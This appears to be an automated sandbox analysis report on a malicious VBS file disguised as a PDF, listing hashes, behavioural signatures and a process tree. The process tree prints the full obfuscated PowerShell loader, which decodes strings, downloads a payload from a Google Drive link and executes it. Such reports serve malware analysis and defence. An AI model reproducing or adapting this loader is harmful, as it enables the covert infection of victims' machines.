Analysis
-
max time kernel
150s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
04/11/2024, 15:12
Static task
static1
Behavioral task
behavioral1
Sample
SPP_14667098030794_8611971920·pdf.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
SPP_14667098030794_8611971920·pdf.vbs
Resource
win10v2004-20241007-en
General
-
Target
SPP_14667098030794_8611971920·pdf.vbs
-
Size
15KB
-
MD5
32166cc1965b1dfa389671abcdbf90f3
-
SHA1
897a0567851433b4c116a7703ba16cd262dafdc5
-
SHA256
c8dc3da743828ede92e47375261bb9e9c192e307e779e56af8c63e0e9cb919d7
-
SHA512
4957257bc4724bce2a516d39a576bbc397553fbcb0a80a951c9fb3e1a5294159e53000dc42db7279bef1274c426fb1a21b38f4715a320612481bc443c77a6522
-
SSDEEP
192:dNbwZ3XUlJPdrDdCR/vXZUr56NxE9yrVvla5Loea+1v+tkqxIXJM8+lbuzCv/K:bb+XyJPdHE61fwVvlaj1v+zI5glblv/K
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 2128 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2176 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2176 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2128 wrote to memory of 2176 2128 WScript.exe 30 PID 2128 wrote to memory of 2176 2128 WScript.exe 30 PID 2128 wrote to memory of 2176 2128 WScript.exe 30
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SPP_14667098030794_8611971920·pdf.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Delepunkter Preeconomically Gybed #>;$backfisch='Unbedabbled';<#Kommuneplaner troldmandsorganisationens Modelune Hectocotylization Petrobrusian #>; function Physiotherapist($skvalpe){If ($host.DebuggerEnabled) {$Cathlins227++;}$Premious=$Scathed+$skvalpe.'Length' - $Cathlins227; for ( $Bulbochaete=4;$Bulbochaete -lt $Premious;$Bulbochaete+=5){$Kulturhistoriens218=$Bulbochaete;$Allergikere+=$skvalpe[$Bulbochaete];}$Allergikere;}function Airfares($Differentierbart){ . ($Frysediske) ($Differentierbart);}$Historiographies=Physiotherapist ' attMIn,qoTurnzDeaciPro lpol,lDam a Nyv/ Ent ';$Arcsine=Physiotherapist ' In TKu elBughsCon.1 N.n2Marg ';$belard='Sei,[ ,enn.odbE PorT Ski.HandSLa,eeDra rMaltv MegIFauncSympeRuddPbehaOA peISavaNSquiTBa bmSuppAMagtN MolaMacogTripE egyrLa r]Empy:Mira:.ruks Lf.eStrecGa.duForsrsl vi inkt riny MyePMoseRUnl OMistTJocoOExtrcGa tohardLDob.=Deli$UdkaABrlerTi scAnstsKiloIPrlunChisE A.a ';$Historiographies+=Physiotherapist 'B.ug5Isam.Knal0C mp F,r(A,elWFloki ian.agedMistoB hawReh,s re SammN El TKen ug n1N.za0Revi.Guat0Enfe;B ta BeerW Re imalhnCh c6Drip4 brs;P rs selvxTyks6Snoo4X,lo;Side PulmrApo vVult:Smel1 Kor3gran1 Fre.Udem0reco)Bagv HeidG nloeAlfacHulikH maofosf/ nde2Jagt0Medi1Du.c0A,st0 Sub1Solh0 aki1Bil, UkamFKbstiB,acrUndeePrecfTlleoPag x .id/Rens1Logi3Misb1R nh.Tnde0Jowl ';$Lkkerbiskenen=Physiotherapist 'KapruRotts DisEE gorWo b-Basta .aagekviEDatan DurTTre. ';$Parken=Physiotherapist 'B ndh ddit SvrtForgpProssPoki:Soun/Jinr/DitidUngarVindiPsorvSolveHerm.Kursg pshoUnfloNo rgCykelForhePlat.P,uvcmas oShabm Con/ SonuWisscForf?Un de.eckxRedipVenioSemirU.cotsece=No.ndMulto SkuwGam nUd nl isoIndbaKlasdSemi&Boosi.pirdSout=H,li1Gray-Skilv RevoEy,bx ehyB Te yUdlgw PedAKataA AnuwEff,-holdo ignhMani_Bl.pQBullv uaneDa.olA reEromaF Mo QS ej5Baby3MastpChe,6UnitLStigFBayovritz6Bas.x .tatTeen5Ula ';$Kalibreringerne=Physiotherapist 'Pren> Fi ';$Frysediske=Physiotherapist 'Sm giEfteE Kedxbrau ';$Urgency='Opmuntredes';$Bulbochaetenefficacity='\Boganmelderen.Flu';Airfares (Physiotherapist 'vedf$PresGForfL otoTempbJus,A MailDiaz:S ndI rueLLignL KryU auksSar,tUnr R ulhaB.smtMalaiAlacV ronTWar = Unc$ Ma EHistn AblvA,se:B,okALawypBetoP IndDVerrA annT gasaJenk+Sl,m$StanB Ki uG nilFletbBookONymfCTumoHHousA D.ie isptSegmeEvenN TypEAutofUndefSelei.ulicAlteAM.ddcImagISam.TBoerYVari ');Airfares (Physiotherapist ' Sam$Gongg H,slInteoDiabb Fora velTank:Squig orrAKonnRJagtD undeFarvnRegiICockZPercEBeausSmig= Tog$RamapSte,aSkraR letk Ba.EIntenIntr.PoetSeftePKor l Ru iUngeTBort( Non$MisokPa maAdfrL si I ForBFlusr ManeHaa RHorii,kuvNKondg.noweDelkRBjerNUbegeIndk)P rs ');Airfares (Physiotherapist $belard);$Parken=$gardenizes[0];$Bulbochaetentuitionalist=(Physiotherapist ' isi$Ag ag Th lSpisOfastbSkjoAM.llLbyba: MatF A bo Vu.RPumaK rivUSch,lOverN AspIHvidNHdtvg,haieHemiR incSChar=overNMereE SkjWUdfl- ornO Stvb T.nJJ.eseAnagcAttaTBe.r BoersNervYBranS SekTAl aESvenMUntu.EpidN Sa eAracT kl.EspeW onoe In bFlyec,etul ejiNon.EGraen SlgTSk l ');Airfares ($Bulbochaetentuitionalist);Airfares (Physiotherapist 'dulo$ExhaF rneoFoedrBa,dkHvepuGrael RepnBr.diPre n NilgCycleVi krops,s Bee.OranHDokue Om a,utbd,poteNo,mrSv gsPi s[None$Ob eLDybdk Stak Gr eSky.rEchabTilliNormsTelek .loe resn HygeFemhnSubc] B r= ind$PartHOut i Fl,sVenet UrkoOnd rAdj iKnneoBlungBecarTaxaaFllepCarmhSlutiBil.eClinsAgam ');$Dalrede=Physiotherapist 'Ind.$AeroFhairoInebrAdrekS rruAsbelBib nposiiIntenLobegDiseeBrusr nalsKeel. M.hDF rtoSkriw D,nnRef lill,oGrubaT,epd PerF CuliSupelUn ne.oll( vi$phaePPr,eaStrer Irrk OrteSpacnTria,Mana$Ret O.nbop F.drOvere GlatUngetAnaleOmk lBoghiRotogTerre IndsWine)Meni ';$Opretteliges=$illustrativt;Airfares (Physiotherapist 'Slim$TranG VaslMillo DamBarbeA.iabLSpi.:Aspim svaESocis,lumt UbrR GaaeShirtTeat=kuld(PreaTPoeme EpiSPolaTLejr- Anop C oaOpretTritHAcer Ba m$KumeoTv.lPCathRG.anEDgnvtG rlt andEEmbeLUnaiI StngSto ELandsF,rl)S ap ');while (!$Mestret) {Airfares (Physiotherapist ' Ke.$Mahug EdulOptioP,eub UndaPulvl ota: oncFTrieaZagrrMinivWhereSenafDoubaMer.sVegetBere=Su.p$ oltt Admr evou,aireRe.t ') ;Airfares $Dalrede;Airfares (Physiotherapist 'SemiSAan TMacrA ,ivrKan.tBu,n-BybiSO erLFldneMikeE treP o t S e4Chap ');Airfares (Physiotherapist 'Frit$ReapGFabulIne oE erBBr nabardl Sys:Al tM T neFortSE emtNatuRArche afsT Ar =Bogt(GyratBoxieMahaSdatatEks - SjkpRe da ReutBombH W r Sner$RkenoOve.P PriR yroEDandTSrskTRe reBullL f,riEbbegbagee eldsSta )Forl ') ;Airfares (Physiotherapist 'In e$Sig,gWaldL IndOFah,B uveA elvL V j:Breni T gNTrygtGusteUbesR KnoD.ecae KviPBalwaN ntrSubsTKvalMGi deVan nsongTPu vA bydL KolLOcc.Y ,ol=Phan$Vagag Foul anoFlleb SrgACruslisaf:StagSUndeyViruD L uV.llie PitnReg dDrivTCigaEAnk s.fso1S ff0 Men6S,mm+Un i+Smit%kard$BlokGPlasaPraiR BddDOrviE V,lNTageiMeroz VeneOpbySAspa.AgilC OptOspinU UndN U,tT ntr ') ;$Parken=$gardenizes[$Interdepartmentally];}$Monoprotic=290512;$Baadmotorer180=29973;Airfares (Physiotherapist 'V gt$ SulGJustLBhojoAsatB RasaSunsl.ead:BiscsAmtstSejuOPhlee PelT V ntP raeBrannSvrn lang=Amfi ignigkau EBesktJ,ra- S oc kovo ,veNFrakT ousePersnAn lt Dru Le.$fl,soSug P GalrOvereN.utttankTBrugeAn iLarbeIDkniG OuteKrigsSpli ');Airfares (Physiotherapist ' Sta$Sking an lProto SepbS bpa B.gl Ryk:brddN Samo PronBr ggAbeneBrocrKnosmBivui Nyln,ikeaFrdal nin Flos=semi Skat[ ireSSkr y O asOperthempe B.vmFeri. RegCUparoManinSkravKnkkeargerslugtCreb]T kk:Arti:AfstFA sir Cyko rysmdiveB BunaUdlgs RineSoir6Mors4MiddS Teot SkarUb tiReginAflngBeha(Litt$PneuSharstIndioM,gaeade,tIndstAntieAlkonS yd)Regi ');Airfares (Physiotherapist 'Vipe$ BrngHun LDundoSmaaBKontAFlerlremi:NedfUM non Recl,nteOAnlovMyceILathNRyttG Ph,lAno.y,nde icr= ex Glow[smaaSEmblyDeseS balT,idnePumpMLuft.O blTC,epeblanXSureTGoka.,lekeRemuNBlasCS agOMaskDS.liiDireNCrasgLune]Angu:Roge:AnviATeleSHmorCMe fISubbI ofa.BrusG Sp ePicoTDobbs SnitBr,iR eliI SitNHrmyg U g( Sol$ ElensporoKul n,yopGPr,cEFal.RWhalMUntaIStr.nS,sta wiel Sem)Weim ');Airfares (Physiotherapist ' Man$.fveGAkk l oruoGeniB SelA Z nlTieb:Preih DagEc ruA Va D nreQAflaU RedaUmagrAbriTKvadeS,leRD.rgiLuftNRo,sgT le=Head$LeatuDef.nfluvLBarso ProVsen.ITypeNSkotGSvinlBu dYS ud. orsNoncUtu.nbStabsSta,tUncoRMedeiGradNP etGMi i(Fil $NormmTeleoSockNR,ceo.ranp ArbrKvarOGravtTekniCaumcafsn,Dulc$Mrk BFre.A.nsoAPampd Ha mP ylOAppaTProdOEnphrUnireDompr and1 Tre8E go0tykm)Pibe ');Airfares $Headquartering;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2176
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b